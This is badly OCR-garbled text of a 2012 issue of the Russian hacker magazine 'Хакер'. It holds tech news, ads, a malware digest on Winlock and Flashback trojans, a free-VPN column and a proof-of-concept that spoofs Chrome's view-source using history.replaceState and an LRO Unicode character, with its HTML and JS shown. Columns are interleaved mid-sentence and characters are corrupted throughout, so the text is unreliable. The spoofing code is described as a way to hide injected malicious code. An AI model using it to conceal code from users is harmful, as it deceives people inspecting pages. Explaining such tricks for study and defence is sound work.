m icгoS D . Устройство ос нащ ено интерфейсами Bluetooth 4.0 и HDMI . Е ст ь модуль GPS IA-GPSI, э л ек тронный гиро ско п и компас. Ап п арат п оддерживаетWСОМА 1900, 2100 М Гц! , ED GE/G PRS/GSM 1850, 1800 и 1900 МГц l и HSPA+. Пи тание обес п е чива етбатарея емкостью 1520 мАч . Им еется у аппарата и камера разрешением 8 Мп со светодиодной вспышкой, объекти в ом с диафрагмой F/ 2.2 и автофокуси ровкой. Р азрешение фронтальной камеры -1 ,2 Мп . Все
игр. В с тавил смартфон в станцию - пр о дол жи л ра боту с тог аже места. Никакой мороки с синхрониз ацие й. У станции-планшета есть дополнитель ный аккумулятор,
собственная 1,3 - мега п иксельная
11280
800 пик селейl ка
мера спереди, порты micгoUSB и micгo HDMI , стандартный
пер е ч исленное п ока выглядит дов о льно обыденно. Н о
3,5-милл и метровый аудиоразъем и динамики с изве с тной
от огромного множества д ругих смартфо н ов
те хнологией
PadFone от
личают ... необычные аксессуары . Во-первых , докстанция
PadFone Station. Она
ASUS Soп ic Masteг.
В о -вт орых, как будто перечисленного было мало , ко
расширя ет функ ци онал с мар т фона д о
всем у этому можно также докупит ьд ок с кла виат урой 1
полноценного планшетника , собс тв енно-станция и вы
П одключив доп олнительную кл авиа т уру, мож н о превра
гл ядит как стильный пл анше т с
тить связку смартфон
1О, 1-дюймовым тачскри
+ д окс танция
в аналог ASUS Е ее
Pad
номl В ес ь се крет в с п ециальном отсеке для Раd-телефон а.
Tгans foгmeг. В клавиатуре, кстати, тоже ест ьдополн и
С мар т фон nросто ус тан авливается в специальный отсек
тельный аккумулятор, который повышает вр ем я автоном
Asus обновила линей куnланшетов Ее е Pad
в за дне й части станции, и легким дви же н ием руки по
ной работы
Transformer, переименовав
PadFone
nрактически вдевять разl
В-тр етьих, ко всему этому счастью прилагается еще
лучается планшетный комп ь ютер. Кстати , и з ображение
« расширяется » не обыч ны м масштабированием: приме
и стилус
няется технология д инамического отображения, перена
трансформер - он не только исnользуетс я для р аботы
страиваю щая Andгoid
с экран ом , но еще и является еще и В luеtооth-гарнитурой .
разрешение 11280
ICS на большой экран и повышенное 8001 . Кроме тог о , при отключении
Pa dFone Stylus Headset. Стилус тоже
Н а российский рынокАSUS
немного
PadFone постуnит в мае-июне
Р аd Fо nе-станции сохраняетс я состоя н ие каждого при
этого года. Рекомендованная розничная цена за комплект
ложенияl Буквально каж д о г о - о т электронной по чты д о
ASUS PadFone + PadFone Station соста в ито т3 3 000 р ублей.
ее в Transformer Pad. Уже представлена первая модель
обновленной серии -lnfinity. Из заметных изменений :
дисплей 10,1"теперьимеет разрешение
1920
1200, а в
основе девайсалежит nро
цессор Oualcomm Snapdragon
54IMSM8960I, работающий на частоте 1,5 ГГц.
ХАЙ-ТЕКОТКЕNТ KENT представляетсигареты Naпotek 2.0 в прогрессивном дизайне нового поколения . Впечатляющий стиль Naпotek
2.0 создан на волне успеха KENT Nanotek первого поколения . Развивая успех, дизайнеры KENT разработали для линейки Naпotek 2.0 эффектные черные пачки в стиле хай-тек с сочетанием глянцевого и матового лаковых покрытий .
Новый дизайн ставит KENT Naпotek 2.0 в один ряд с ультра современными гаджетами и аксессуарами . Изменившись внешне, компактные сигареты с угольным филыром от KENT
сохранили неизменным свой уникальный вкус. Три версии насыщенности вкуса
KENT Nanotek2.0 получили новые
названия- Blue, Silveг и White. На каждой версии -детали одного из трех цветов: синего, серебристого или белого.
~ МИНЗДРАВСОЦРАЗВИТИЯ РОССИИ ПРЕДУПРЕЖДАЕТ:
•
КУРЕНИЕ ВРЕДИТ ВАШЕМУ ЗДОРОВЬЮ EPIDEMZ.NET
Реклама
EPIDEMZ.NET
~~РЕПОРТЕРЫ БЕЗ ГРАНИЦ>> СОСТАВИЛИ ЕЖЕГОДНЫЙ СПИСОКСТРАН - врагов интернета .
MEGANEWS
В 2012 годуэтотсnисок nополнили Бахрейн и Беларусь .
СВЕРХМИНИАТЮРНЫЙ
СТАРЫЕ-НОВЫЕ ГРАНИ
ФАЙЛООБМЕНА
ПРОЦЕССОР ОТ ARM
HOLDINGS
ФАЙЛООБМЕН БЕЗ ЦЕНЗУРЫ И ДЕАНОНИМИЗАЦИИ ВСЕ ЖЕ СУЩЕСТВУЕТ В ПРИРОДЕ
~~ИНТЕРНЕТ ВЕЩЕЙн СТАНОВИТСЯ БЛИЖЕ RetгoShaгe сейчас
и
переживаетнастоя
--.... -
"""""'~,..
'"' """"... ,., "" ......
....._
щий взлет. Если еще в декабре 2011 года клиентRеtгоShаге скачаливсего 2211 раэ , в феврале 2012-го эта цифра
...
~
представила не да вно компания
ARM Hold ings.
Уникальной особенностью архитектуры F lycatche г,
на которой построена новинка , является размер микро
схемы : площадь не более
0,13 мм 2 , то есть 0,36 Х 0,36 мм
lflo oгplaппed агеа). Естественно, энергопотр ебление таких
подскочиладо21379 скачиваний, а сейчас уже приближается
...~
нтересный 32 - битный микропроцессор Согtех-МО+
чипов буде т минимально: от3 д о
52 мк Втна 1 М Гц . То ес ть
чипы смогут работа ть от миниатюрной батарейки н ескол ь
кстатысячам .
ко лет. Также в спящем режиме Согtех-МО+ пра ктически не расходует э н ер г ию. Компания с гордостью на зы ва ет Согtех-МО+ <<самым эне рг оэффек тивным мик р о пр о ц ес со р ом в мире>>. Н овинка потр ебляететри раза меньше энергии, чем аналогичн ы е микросхемы.
Для чего это нужно? Архитектура F lycatcheг в буд у щ ем
• о- · -·~
вполнеможетстатьосновойдлятакназываемого « ин тернета вещей >> - когда в каждый значимый физический
объект будет встроен микропроцессор и стек TCP/IP. То есть
n
охоже , даже самые д алекие от
IT люди
знают: правообладатели не
шутки про кофеварки и хо лодильники с выходом в сеть ско
дремлют, скачивать файлы из интернета стра шно нелегальн о, и за
ро п ерестанут быть шутками [впрочем, такие устройства
это можно получить по шапке. В самом деле, н е секрет, чт о коп ира
существуютуже сейчас). Также к сети смо г ут подключиться
ст ы весьма при сталь но на блю д ают за торрентами, пользователей то и дело
с ч етчики электричества, меди цин ское оборуд о вани е,
судят, а крупные файлаобменные ресурсы в последнее время и вовсе имеют
осветительные при боры и так д алее.
тенденцию закр ывать с я. Н о ведьальтернативы трекерам и « Рапид е>> су щ е ствую т . Хоро шийприм ер - се ть RetгoShaгe, начав шая работу е щ е в
2006
году
l гetгoshaгe . sou г cefo г ge.пet ). Тоггепt F геаk вообще сообщае т о настоящем буме под обн ы х анонимн ы х систем. Схема работы R etгoS haг e пр оста . О реп Souгce система RetгoShaгe дает пользователям возможнос ть соз д авать приватные и зашифрованные
сети. Ты можешь д оба влять туда др узей, проверяя их сертификаты
F2FPGP.
-..... ---.... .........,
Д рузья, в свою очере дь , до бавят своих друзей, и так д алее. Идея в том, что в подобную се ть н е должны попасть представители спецслужб и медиа
........
корпораций. Н о да же если они туда проникнут, угроза все равно сведена к ми нимуму- клие нт уста навлив ае т соединен и е только с доверенными пирами.
Вс е коммун ик а ции защи щ аются с помощью
OpenSSL, а
файлы от << незна
""'
""'
....,
IIOinttoixe
1
~1
комцев>> пр охо д я т п о цепочк е юзе ров, так что в твойкомпони попадают от
д ове р е нн ых др узе й. П оскольку сое дин ен и е над ежно зашифровано, ник т о не
сможе т ул ичить т ебя в ска ч ивании н елице н зио нн ого контента.
КОМПАНИЯ
ADOBE ВЫ-
ПУСТИЛАБЕСПЛАТНУЮ
23% ПОЛЬЗОВАТЕЛЕЙ,
ОСНОВНЫМИ ИСТОЧНИКА-
RIM ЗАПАТЕНТОВАЛА ТЕХ-
В ПРОШЛОМ КВАРТАЛЕ
nридумывая РIN-код ,
МИ
НОЛОГИЮ разблокировки
SEAGATE опередила Westeгn Digital по объему nоставок
DDOS-ATAK в nрошлом
выбирают дату, каждый
году стали nользователи
С 56 для Windows и Мае 05 Х .
третий выбирает дату своего
стран СНГ- Россия
ФинальнаяверсияС56тоже
рождения. Таковы данные
мирового ООоS-трафика)
nоявится скоро-в первой
специалистов Кембридж-
и Украина
nоловине года.
с кого университета .
Kaspeгsky
БЕТА-ВЕРСИЮ
PHOTOSHOP
(16%
(12%), сообщила Lab.
телефона nутем отстуки ванияnальцемnокорnусу
накоnителей на жестких
девайсаоnределенного
дисках.Sеаgаtеотгруэила
ритма . Расnознаватьудары
46,9 миллиона HDD, aWDлишь 28,5 миллиона.
будет акселерометр .
ХАКЕР
012
EPIDEMZ.NET
05/160/2012
КОМПАНИЯ AMD ПРИОБРЕТАЕТSЕАМIСRО- первопроходца в создании микросерверов . Сумма сделки: 334 миллиона долларов .
Электронная книга с доступом в Интернет
БЕСПРОВОДНАЯЗАРЯДКА ДЛЯ ЛЮБОГО ТЕЛЕФОНА!
Читай. Смотри. Слушай .
СПЕЦИАЛИСТЫDURАСЕLLПРИДУМАЛИПОЧТИ УНИВЕРСАЛЬНУЮ ((ЗАРЯДНУЮ КАРТУ»
13
сожаЛению, беспроводная зарядка сегодня является ско рее игрушкой для гиков, нежели реальным удобством для большинства . Исправить эту несправедливость пытаются
разработчики компании Duгacell, и, похоже, у них получается. Ком
пания решила п одойти к проблеме с неожидан ной стороны и пред ставила миниатюрную супер пло скую карточку Poweгmat
WiCC.
Карта призвана сыграть роль посредника между беспроводным за рядным устройством и nрактически любым телефоном, с мартфоном , планшетом и другими гаджетами. Ответ на резонный вопрос, куда же она вставляется, пр ост - под крышкуустройства. К примеру, для оснащения мобильного телефона функцией беспроводной зарядки до с таточно просто вставить Poweгmat WiCC в телефон так , чтобы к о нтакты карт о чки соприкасались с « Зарядными >> контактами теле
фона . Затем можно закрыть крышку и наслаждаться чудесами nро гре с са. Здесь , конечно, могут возникнуть проблемы- карточка еще должна совпасть с контактами гаджета, а крышка аккумуляторного
отсека закрыться с картой внутри. Тем не менее многим карточка подойдет, а в будущем могут появиться и спе циальны е сменные
крышки
:1. Обещают, что стоить карта будет << буквальн о копейки>>. Duracell намекает, что, если рынок положительно воспримет
PowermatWiCC, компания также представит и собственное беспро водное зарядное устройство, его
разработка ведется уже давно.
WEXLER.BOOK
ЗА 2011 ГОД ХАКЕРЫ ВЗЛАМЫВАЛИ СИСТЕМУ НАСА 13 РАЗ
АЭРОКОСМИЧЕСКОЕ АГЕНТСТВО США ТРАТИТ НА КИБЕРБЕЭОПАСНОСТЬ58 МИЛЛИОНОВДОЛЛАРОВ ИЗ СВОЕГО ГОДОВОГО IT-БЮДЖЕТА ОБЪЕМОМ В 1,5 МИЛЛИАРДАДОЛЛАРОВ
Т7007
Лучший выбор бесплатных книг и популярные новинки .
Скачивайте и читайте на
www.wexLer.ru!
~
о
«МЕТРО 2033» ДМИТРИЯ ГЛУХОВСКОГО И ЕЩЁ
<(
ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО
а..
t:t
о
В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER
с::
------------------·----ХАКЕР
05/160/201 2
EPIDEMZ.NET
ТЕЛЕФОН ГОРЯ Ч ЕЙ ЛИНИИ : 8 (800) 200 96 60
MEGANEWS
ЛИНУСТОРВАЛЬДСООБЩИЛ О ВЫХОДЕ ЯДРАLINUХВЕРСИИ 3.3, в состав которого вошел код мобильно й ОС Android.
GOOGLE ПРЕДЛОЖИЛА
SAMSUNGGALAXYBEAM
ХАКЕРАМ МИЛЛИОН
С МАРТФОН С ПРОЕКТОРОМ . ДЛЯ ТЕХ, КОМУ МАЛО ОБЫЧНОГО ДИСПЛЕЯ
КОНКУРС PWNIUM ПРОШЕЛ ПО-НОВОМУ
Pwп itl 111
Cash Rema1n1ng. $880,000
к
омпания
Samsung уже
пыталась оснастить
с мартфон проектором в
Samsung 18520 не
201 О
году, но тогда
снискал особенного успеха ·
у пользователей. Южнокорейски й производитель пред
при н и мает вторую попытк у и представляет
Galaxy Beam. О с тавим
Samsung
за скобка ми вопрос, зачем в смарт
фоне нужен проектор, и посмотрим на характеристики устройства. Итак, сначала об основной особенности
-
-(ЖU--НОТ
~- ....
•
аппарата : яркость проектора равняется
15 люменам,
и, по данным компании, этого вполне достаточно для
просмотра изображений высокой четкости размером до
50 дюймов 1125 смlв ширину. Проектор можно использо ватьдля игр, просмотра видео и статичных изображе н ий,
Pwnium con clud ed ! <24hr t urnaround time demo nstrated twice. Cash remain ing t o
Ье
distributed to the Chrome Security
Team.
когда !или если] четырехдюймового экрана с мартфона разрешением 800 Х 480 пикселей мало. В остальном, н уж но признать, конфигурация у Samsuпg
Galax y Beam весьма средняя: двухъядерный 1 Г Гц, 768 Мб оперативной памяти,
процессор с частотой в одном из прошлых номеров мы писали атом,
четырехдюймовы й ди сплей с разрешением 80О х 480 пик
что правила хакерекого состязания
селей. Имеются также 5-мегапиксельная тыловая каме
Pwn20wn
ра и фронтальная VGА-камера. В качестве операционной
изменились -- вчастности,участникитеперьне
обязаны предоставлятьзксплоиты вендара м. Компа-
системы будет использоваться Aпdгoid
нию Gооglетакой поворотсобытий не устроил, поэтому
уже давно в ходу версия 4 . 0.Зiправда, компания обещает,
«Ко рпорация Добра>> расширила собственную программу
От500до 3133, 70
вознаграждений Chгomium Secuгity Rewaгds . К примеру, за Оdау-эксплои т ы Chгome,
Flash, Windows и
долларов по
прочие
теперь будут п ла т ить от двадцати до шестидесяти тысяч долларов. Всего на выплату вознаграждений за эксплоиты на конкурсе
Pwnium
компания выделила призавой фонд
что апдейт до
2.3,
в то время как
4.0 будет]. Внутреннюю память объемом 8
Гб можно расширить с помощью карточки micгoSD или
прежнему пред
micгoSDHC. Питание с мар т фона обес п ечит батарея ем
ла гается за любой ба г в проду к ц ии
кос т ью 2000мдч. О стоимости новинки, а также о дате ее
Googl e. Н есм от ря н а
появления в продаже пока ничего не сообщается .
введени е пр е мии за э ксплоит ы, ра зм ер
в один миллион долларов США . Как показала практика,
Google не про гадала . В течение пяти минут после начала Pwn20wn французская команда Vupen Secuгity сумела осуществить эксплоит двух уязви
вознагр аж д ения
за обычны еуяз вимости о с т ае тся пре жн и м .
мастей Chгome и полностью взломать браузер. Благодаря установленному << жучку» в коде Chгome компания
все же сумела выяс н ить, в чем заключалась уязвимость.
Хотя обычно Vupen приберегают дырки для продажи своим клиентам. Н у а в хо д е контеста
Pwnium отличился
извест
ный спе ц иалист п о безо п ас н ости Сергей Глазунов. Н а этот раз он заработал 60тыс я ч д олларов, сумев сдела т ь уд ач ный эксплоит, используя д ве новые уязвимости в Chгome, которые скоро будут закрыты через автообновление. Вторым fJрИЭером
Pwnium стал хакер PinkiePie .
... _;.. rj
Wll
ЖЕСТКИЕ ДИСКИ НЕ СОБИ
MICROSOFТ СНИЗИЛ
РАЮТСЯ ДЕШЕВЕТЬ . Даже
ТРЕБОВАНИЯ К ЖЕЛЕЗУ
ПО ДАННЫМ ЖУРНАЛА FORBES, КОМПАНИЯ SONY РАБОТАЕТ НАД ИГРОВОЙ КОНСОЛЬЮ
послеполноговосстанов
для Windows Рhопе . Теперь
НОВОГО ПОКОЛЕНИЯ, а
ленияобъе м овnроизвод
минимальная конфигурация
ства
в к лючаетоднокристальную
AMD разрабатывает графический процессор для этого изделия . На по мн им, что GPU отАМD уже используются в Microsoft ХЬох 360 и Nintendo Wii. Таким образом , если Sony выnуститсвою новинку в ближа й шее время, во всех основны х консолях на рынке будут исполь з оваться решения от AMD.
HDD будут на 30-40%
дороже , чем до наводнения
систему
в Таиланде.
и
Qualcomm 7 х 27а 256 Мб ОЗУ.
ХАКЕР
014
EPIDEMZ.NET
05/160/2012
SEAGATE РАЗРАБОТАЛА ТЕХНОЛОГИЮ HAMR, об есп еч и вающую п л отно с т ь и н фор м а ц и и в од и н терабит на квадратный дю йм.
Т РОЯ Н СКИЙ МИНИ-ДАЙДЖ Е СТ НОВОСТИ И З МИРА МАЛВАРИ омпания « Д ок т ор Веб>> сообщила о паявле н и и нового троя на-блокировщи ка, добав ленного в вир ус ные базы под именем Тгоjап .
Wiпlock.5729. 'Обычно та кие трояны ис п ользуют для блокировки в хо да в ОС приложени е , заменяющее со
бой стан дартн ую оболочку или файл
userinit.exe.
По
со вершенно иному, гораздо более простому пути пошли
авторы
Trojan.Winlock.5729.
Троя н скрывается в моди
фицированном дистрибутиве программы
Artmoney,
предназначенной для << на крутки>> различных рес урсо в в играх. Помимо реального установщика
Artmoney,
инсталлятор содержиттри файла: измененный файл
logonui.exe с именем iogonui.exe [этот файл отвечает за демонстрацию графического интерфейса при входе
пользователя в
Windows XPI и два самораспаковываю
щихся архива , содержащих Ьаt-файлы . При загрузке инфицированного ин ст аллятора запускается первый из н их-
password_on.bat.
Файл содержит набор команд,
выполняющих проверку ОС: если на жестком диске
присутствует папка c:\users\, вредоносные компо ненты удаляются, если же такая папка отсутствует,
троянец считает, что он запущен в
Windows ХР. В этом Trojan .Winlock.5729 модифицирует системный реестр, подменяя при загрузке Windows стандартный logo nui.exe собственным файлом iogonui .exe, и меняет па роль учетной записи Windows для текущего случае
пользователя и локальных пользователей с именами
«admi n>>, «administrator>>,
«админ>>, «администратор>>.
с я на Jа vа -уя з вимости в Мае ус таревшая версия
OS Х. Если у поль зова теля Java , Flashback срабатывает как
Если текущий пользователь работает в ограниченной
обычно: не у ведомляя пользоват еля и « не отсвечивая>>,
учет ной записи, деятельность троя на прекращается.
он устанавливае т себя в с исте му . Е сли же версия
Еще один Ьаt-фа йл-
новая , тр оя н старается применить ме т оды социальной
password_off.bat- удаляет
в се
инженер ии, вынуждая пользовате ля загрузить малварь
ное значение
хитростью. Авторы т роя на не мудрствуют и просто
UIH ost.
Файл
iogonui.exe представляет logonui.exe из WindowsXP, в котором с помощью
комплекта поставки
выписанный якобы для компании
App le.
Flashback.G опасен тем ,
приветствия
ры и приложения , работающие в Мае
Windows
на требование о тправить платное
выяснили, что для входа в систему можно использовать
па роль «Спасибо!>> [без кавычек!, после чего
Trojan .Wi nlock.5729 автома т ически
сбросит па роли
у четны х записей. Воттакие вежливые хакеры
:1.
О новой версии троянца F lashbackдля Мае
OS
сооб щает компания
lntego . Flashback
ориентирует-
__ ______ __ __ -·---·-....
::.:-..:... -
..
-
.. --
...
....• .. - -. ..
,_ ........
~-
предоставляют пользова т елям поддельный сертификат,
редактора рес у рсов была изменена стандартная строка SМS-сообщение. Однако специалисты «Доктор Веб >>
\.
... -- ~ ------·
Java
па роли и возвращает в системном реестре оригиналь
собой настоящий аутентичный файл
J
Новый троя н
что способен внедря ть в браузе
OS Х , собственный
код, что часто вообще приводит к краху приложений .
Помимо этого, троя н размещает свой код в папке / User/ Shared , устанавливая тут различные файлы с расшире нием .so. Внедрение кода в приложения необходимодля
М е ж д уте м к оличество вр е до носных программ для мобильных уст ро йст в з а 201 1 год во з ро с ло бо л е е че м в шесть раз. Та ко й вывод с делали а налити к и се Лабор а то р ии Ka cnep cк oro », традицио н но nр е дс та вив отчет « Мобил ьн ая виру с ология н.
кр ажи па ролей, вводимых польз ователями при обраще нии по не с кольким целевым доменам, например
PayPa l, системам
ПИСЬМЕННЫЙ ГАДЖЕТ OTWATERMAN
Google,
онлайн-банкинга и др угим.
НОВАЯ
VISUAL STUDIO
Какой гаджетвыбрать, когда ультрабук и самый топоны й
смартфон уже есть? Хорошую ручку! : ) Коллекция письменных
омпания
принадлежностей Wateгmaп Ехрегt
ное новшество, которое ты сразу заметишь, - зто убойный,
New Gепегаt i оп- иде
альное и эффектное дополнение к твоему индивидуальному
Глав
хотя поначалу и непривычный интерфейс [в нем теперь есть
стилю . Коллекция изготовлена во Франции и предс тавлена
даже темная цветовая схема!. Нововведения можно перечислять
в новых выразительных цветовых решениях- Ta upe (серо
долго , но одними из самых важных стали новые инструменты для
коричневый цвет) и Deep Вгоwп (темно-коричневый цве т) .
разработки Меtго-приложений, в том числе
Прекрасным дополнением к этим стильным изящным ручка м
торого можно проектироватьдизайн приложений на основе
пос л ужаттакже модели Deluxe Black и Deluxe Wh ite, Metallic, Black Bгilliaпt Lacqueг и Matte Black Lacqueг. Новые модел и
XAML . Дистрибутив свежей
выполнены в классическом дизайне, сочетая изысканны й делово й стиль и неповторимую элегантность.
Х АКЕР
Microsoft выпустила бетку Visua l Studio 2011.
версии этой
Blend, с помощью ко HTM L/
IDE ищи
на нашем диске .
~ vfsGal Studio·ll Beta 01 5
05 / 160/ 20 12
EPIDEMZ.NET
.HEADER
КОЛОНКАСТЁПЫИЛЬИНА
ГДЕ ВЗЯТЬ БЕСПЛАТНЬIИ
- VPN?
РАЗГОВОР О Поговорим о
VPN
VPN.
остановиться на комnании с каким-никаким,
П рактически для всех
но именем . Среди авторитетных вендорав
сегодня передавать да н ные в зашифрованном
бесnлатный
виде- острая необхо д имость, однако услуга
Comodo.
VPN
пока не стала по-настоящему массовой.
Но это только пока . Е ще г од - два - и такой
VPN
nредоставляет, наnример,
П редлагаю nрямо сейчас nотрати т ь
__.____
nя т ь минут и nолучить надежный шифрован ный канал.
F...tt .... u-• - C'""-•
, _ ... pdl,.. nwQ
сервисначнутпре д ос т а вл ять т~ ктоумее т
убеж д ать пользова т е л ей в н еобхо ди мос т и
КАК ЭТИМ ПОЛЬЗОВАТЬСЯ?
заботиться о собстве нн ой безопасности,
1.
задача- только nре д с т авь, какая архитек
vpnl, выбирая в качестве услуги п л а н <<TгustConnect Seгvice Fгее 10GB». Это
тура нужна, чтобы обеспечить миллио н ы
бесnлатный тариф, у которого срезана часть
пользователей V P N'oм, - но ей уже за н има
функционала , однако им вnолне можно
ются. П ока же о безопас н ости своего трафика
MкOSX~ruoeUoo
В личном кабинете нам отображается наш сервисный лаги н и nароль-данные,
не требуется.
которые необходимо исnользовать для авторизации на VРN-сервисе, а также
ДВА ВАРИАНТА СЭКОНОМИТЬ
1Podln8true11-
лицензионный ключ.
3.
Д ля работы сам
Comodo
Скачиваем клиeнтTrustConnect
ilffl'
Comodo TrustConnect- User Authentication
nредлагает ус тано
самому. В качестве д о п о л нительного про
витьфирменный клиент. Поэтому скачива
Usem.vne:
фита п олу ч аем увере нн ость, ч то никто не
P4S$word:
буд ет ле г ирова т ь запрос ы и перехватывать
ем нужную версию программы [есть клиент n од все основные OC I и устанавливаем ее,
трафик непосредстве нн о на н ем. Тем бо л ее
указав лицензионный ключ. Все, что нужно
что выделенным хеетом можно обзавестись
для подключения , - ввести свои сервисные
бесплатно: мы уже рассказывали о том, как получит\' дед и к в облаке
Amazon
и заnустить
..
, ...... in.pdiiCifiNII)
,_on.pdll .. nwt)
пользоваться.
2.
финансовых, ни временных затрат для этого
П ервый вариант - по д ня ть V P N-cepвep
llnшln8truetlon• (oOewin~f .. mof)
fгее
а н тиви р ус н ые компан ии . Это непростая
нам приходится думать самим. К счастью, ни
""""""--·~ (*wln.9dlfDfomot)
Регистрируемся в сервисе [ Ьit. l y/comodo
1u~Trusteonnt:ct
логин и nа роль.
4.
На самом деле необходимости устанав
там все необходимое для VPN-дocтyna, вос
ливать клиент oтComodo и что-либо еще
пользовавшись бесnлатным тест-драйвом
нет. Достаточно соз дать обычное VРN
nровайдера [к слову, в этот раз мы nовторяем
подключение , указав в качестве сервера
тот же фокус, чтобы nоднять свою ловушку для сплоитов, - читай статью <<Ханипот на
uk2.vpn .comodo.com. Серверы TгustConnect будут достуnны no РРТР-протоколу. Э т о
Amazon» l. Вnрочем, кому -т о может nокаэать
очень хорошо , nотомучто ты без nроблем
кVРN - серверу
ся, что так замора ч ива т ьс я - э т о слишком.
можешь nоднять
Н ет nроблем: в т орой вариа н т- вос п о л ьзо
ус т ройстве [ например, на Andгoid l- и ш иф
10 Г б
рованноесое д ине н иесразубудетрабо т ать.
т о можно п осмотре ть , ско льк о тр афика ос т а
Если ты являешься фанатом
лось, а т акже изуч и т ь гр а фик и е г о n о тр ебле
ваться бес n ла тн ым V РN- nровай д е р ом. Мы уже не раз упоми н а л и их в н ашей рубрике
WWW2. Один из nо д обных сер в исов- Expat Shield lexpatshie ld.coml. В озможно, не стоит
5.
VPN
на любом моби л ь н ом
Исnользуем сервисный логин и nарольдля nодключения
OpenVP N, т о
ния. Б есnлатные тарифы обыч н о огра н ичи вают юзеров в возможнос т и ис n о ль зова т ь
разные nротоколы. Э т им г ре ш и т и
КАК ЭТО РАБОТАЕТ? В отличие от многих других бесnлатных nре д ложений,
смоем с мартфоне и нач н ет собирать чужие
стабильно, но и довольно быстро. Скорость
:1.
С дру г ой стороны, если
VPN
скачет от 1 до
от
Comodo
Comodo,
но
боль ш инство н еобхо д им ы х дл я работы n ро
Макдональдса, где как nить дать о д ин из
выбирать себе V РN -п р овай д ера, т о лучше
о гран и ч е н ие:
по дд ерживает и его.
гиковатых соседей включит F iгeSheep на
сессии,- самое то
Como do ус т а н о вил
в мес яц. Е с л и з а й т и в личны й каби н е т,
опять же хорошая новость: TгustConnect
доверять ему все свои секреты , но исnоль
зовать в открытой Wi -F i-ceти какого-нибудь
трафиком,
работает не только
3 М бит/с, чего более чем до
статочно. Ч тобы п ользователи не увлекались
т околов все-таки рабо т ае т [кроме разве что
FT PI. Е ще о д ним н е д оста т ком я вл яе т ся навяз div с рекламой, кото р ый встав л яется на
чивый
каж д ую стра н и ц у, но и о н л е г ко в ырезается
любой ба н неро р езкой. Красо т а!
:1:и:
ХАКЕР
016
EPIDEMZ.NET
05/160/2012
Proof-of-Concept ПОДМЕНИТЬ ИСХОДНЫЙ ТЕКСТ СТРАНИЦЫ
КАК ЭТО ВЫГЛЯДИТ?
Тhе
Посмотреть, как устроена клиентская часть веб-приложения
(та, которая отображается в браузере), очень просто: для этого на любой странице можно нажать << Просмотр кода страницы»
и получит ь ее полный исхо дн ик ( HT M L /CSS/J S-кoд ) . Н о попробуй в Chгome'e о т крыть ссы л ку kuгlak . com/johп/souгce . html и по смотреть ее сорец. Когда на странице четко отображается вопрос << Сап
you view my
lnsttad of crtatlng r.-pl.Ae.З :...a:.eo
а
:r.;..t~=ry . p-~• n!l:..a ~•ll
ex«pt tNt
:opиc.s~ ~• ll
modifles thecurrent hlstory tntry
ntw one.
ls pJ;nicularty useful when you w~ont to upd1te tht stJ.~ obj ect or URL of the currtnt hfstory tntry in rtsponst to some
useraction. Note: ln Gecko 2.0 (flrtfo• .4 1 ThundtrЬ1rd 3.3 1 StAМonk~ 2.11 through W<:ko S.O {Firt.fO)t 5.0 1 ТhundtrЬird 5.0 1 SuМonk~ 2.2), the pa.sse.d obJ«t ls se.r<al<ztd UllngJSQN 5LI.nJng '" Gкko 6.0 (Гоrеfом 6.0 1 ThundttЫrc16.0 1 ~aMonk~ 2 ..3), !he objtcl 11 Strialize.d using the structured done algonthm . ТhЬ. a!IOWJ а wtdt.r vart~y of Ob)t!CU to Ье safety pa.ssed.
souгce fгom Chгome?», то при заnросе исход
никаотображается издевательская фраза
easily ... ».
replaceState() me Lhod
!'li.8;ory . .r.pl•c:eS:.at.o ll optrates txact+y lib
<<You
сап,
but not that
Ч то за дела? Исследователю Д жану Курлаку удалось
Оп и сани е hist ory.replaceSta te( Jот Mozil la
проспуфить исходник веб-страницы ! Это может nоказаться не изящный ха к. Ведь если кто-то nодозревае т, что на его страницу
переворачивает текст наоборот. Он называется <<left to гight» (LRO) и пере с тавляет симв о лы слева наnраво . Фишка в том, что
был каким-то образом вне д рен nосторонний зловредный код , то ,
если ра з ме с тить его nосле текста , уже ориентированного слева
открыв вот так в браузе ре ее исходник, он увидит ровно то , что
направо , т о н ик аки х nреобразований не nроисходит. Соответ
захочет nоказать ему злоумышленник!
ственно , мы мо ж ем nереадресовать nользователя на другую
винной шалостью, но н а самом деле п редставляет собой довольно
страницу, кот о рая nользователю будет отображаться точно так
КАК ЭТО РАБОТАЕТ?
же ( например , souгce.html). Символ
В основе ха ка лежит н овая фича JavaScгipt - функция
в виде десятичного кода
histoгy.гeplaceState() . Она nозволяет разработчику изменить
URL
8237.
LRO можно пре д ставить
Получаем nростой код страницы
souгce . htm l:
страницы без nерезагрузки последней . К примеру, можно исполь зовать данную функцию, чтобы nоменять
UR L страницы
с
www.xakep . гu/example.htm l на www . xakep.гu/example2.html . При этом в целях безоnасности имя сервера изменить, естественно, нельзя- только страницы .
Джан Курлак, эксnериментируя с этой функцией, заметил, что если изменить
UR L страницы
и nосмотре т ь ее исходник, то брау
зер nытается nоказать сорцы новой страницы. Соответственно, если изменит? адрес страницы так, чтобы никто не заметил, мы можем по д сунуть что у г о дн о в качестве ее исходника! Главное, чтобы имя страни ц ы выгля д ело точно так же. И з д есь вспомнил
ся старый добрый трюк, использующий Uniсоdе-символ, который
e nn
• source.html
·'~----------~---------------=--~ ~;~htm\> ~ _
c ! DOCTYPE html> <html> <head> <title>Source</tit l e> <meta charset= "UTF - 8" > cscript type= "text / javascript" > history.replaceState(null, null, 'source . html ' + String . fromCharCode( 8237 )); </scri pt > </ head> <body> <p>Can you view my source from Chrome?</p> </body> </html >
S.OUIC t .lltml
<head>
<titte>Sou rcec/t itle> caeta cha rset• ' UТF-8 '> <script ·уре-• text/javascript' > histo.ry. ~taceState( nutl , nutt, 8237 )) ;
+ St ring. fi'OIIChar<:ode(
ный нам
index.html.
Если же посмотреть исходный код страни
цы, то браузер пытается отобразить исходник страницы souгce.
</ heltd>
g
18 11 12 13
+ [LRO]- и в адресной строке по-прежнему о т ображается нуж soo~.htat
</ scгipt >
8
Когда пользователь открывает страни ц у souгce.ht ml , то браузер автоматически меняет адрес страни ц ы на souгce.html
htmla € (а€- зто nредставление hех-кода символа LRO в ASCII).
<Ьоdу>
<p.>(an you viN llly souгce f roм Chrotne ?</p>
П ри этом никакие спе ц символы нигде не отображаются. Что
</Ьоdу>
</htm\>
мы делаем? П росто создаем страницу souгce.html a€ с нужным нам содержанием, которое будет отображаться n ользователю T&ЬSiu .
Unt 1. ColutМ 1
•
в виде исходника. Бинго> Прочитать авторский nос т на тему, с качать исходники и nосмотреть демонстрацию ты можешь
